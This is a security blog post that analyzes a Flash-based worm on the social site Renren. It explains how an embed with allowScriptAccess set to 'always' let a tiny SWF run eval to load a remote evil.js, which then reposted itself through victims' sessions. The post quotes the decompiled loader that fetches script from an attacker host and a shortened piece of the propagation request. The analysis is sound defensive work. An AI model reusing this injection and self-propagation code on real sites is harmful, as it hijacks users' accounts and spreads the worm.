A few days ago a lot of media wrote about a Flash worm. I managed to get hold of samples and analyzed it (thanks to Peter Kruse of CSIS for the samples).

First of all, while the exploit code contains Flash, it is actually just used as an attack (or, if we stretch it, infection) vector. The worm itself is contained in JavaScript and is very similar to the Twitter worm I analyzed back in April this year (see http://isc.sans.org/diary.html?storyid=6187). That is not surprising as both worms are attacking similar services.

The worm was first identified on a popular Chinese social web site (for schools, if I'm not wrong), Renren (http://www.renren.com). This site is in many ways similar to Twitter or Facebook, but much more media intensive and it allows users to share various information, including pictures, movies etc.

Users of this site can share videos with each other (same as on Facebook). Besides other media, users can also point to Flash movies and this was enough for the attacker to exploit one small error in the video player code used by the Renren site.

The URL to an SWF file posted by a user was processed by a function called playswf(). Among other things this function creates an embedded object (application/x-shockwave-flash) that points to the user supplied SWF file.

Now, before digging into what this worm does, I'd like to point out how dangerous embedding SWF files can be. It is very common that authors put basic XSS protection into their programs (for example, preventing users from entering the <script> tag), however, Flash files can also be dangerous – I've successfully used them during various penetration tests to evade web application firewalls (which are not the solution to bad coding!).

Back to the worm – the playswf() function creates the following object:

<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”
“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”
wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>

The dangerous part is highlighted in yellow – the allowScriptAccess parameter controls the level of access to the local HTML page by the Flash object. By default, this parameter is set to "sameDomain", which means that a Flash object can only access the HTML page if it was retrieved from the same domain. In other words, by omitting this parameter the Flash attack vector would be effectively disabled since the attacker wasn't able to put the Flash file in the same domain as the main site.

However, by setting this parameter to "always", the Flash file can directly access any element of the local HTML page, including (you guess) cookies.

The attackers embedded a link to a malicious Flash file which was only 369 bytes long. Since Flash files are bytecode, we can decompile them to see what they do. The malicious file had two DOACTION sections. The first one is included below:

var fun = 'var x=document.createElement("SCRIPT");x.src="http://n.[removed].com/xnxss1/evil.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';
    flash.external.ExternalInterface.call('eval', fun);
  }

It's pretty obvious what this script does. It creates a variable fun which contains some HTML code. First, it creates an element called SCRIPT in the local HTML page and points it to a malicious JavaScript file. The defer attribute tells the browser to process this script in the background and proceed. Then it takes first HEAD object and appends the malicious script to it.

The second DOACTION section (not shown here) just loads a legitimate movie so the user isn't aware of what's going on.
As you can see from above, the Flash file is actually just used to exploit the web page, while the real code is in the evil.js file. This type of vulnerabilities has their own name – Cross Site Flashing (XSF), as they are very similar to XSS vulnerabilities.

Finally, the evil.js file, which has the main worm body, uses attacked user's credentials in order to post this movie to all his contacts. We saw this with the Twitter worm – this one is not different at all as it uses Ajax as well to call methods that allow it to post the movie. Part of the script (shortened) is shown below:

var data = 'post= "filter":null,"reduceRight":null [...] :"Wish You Were Here @ 2016.","summary":"'+evil_swf+'","noteId":0}';
 data += '&tsc=';
 data += tsc;
 xhr_send("post","http://share.renren.com/share/submit.do",data,"preSend");

The worm is, as you can see, nothing spectacular, however, it shows that technologies such as Flash must not be ignored as they can be (and we saw this in the history already) another vector for attacks, and this time it didn't matter what version of Flash you were running since the code on the web site was vulnerable.

--
Bojan
INFIGO IS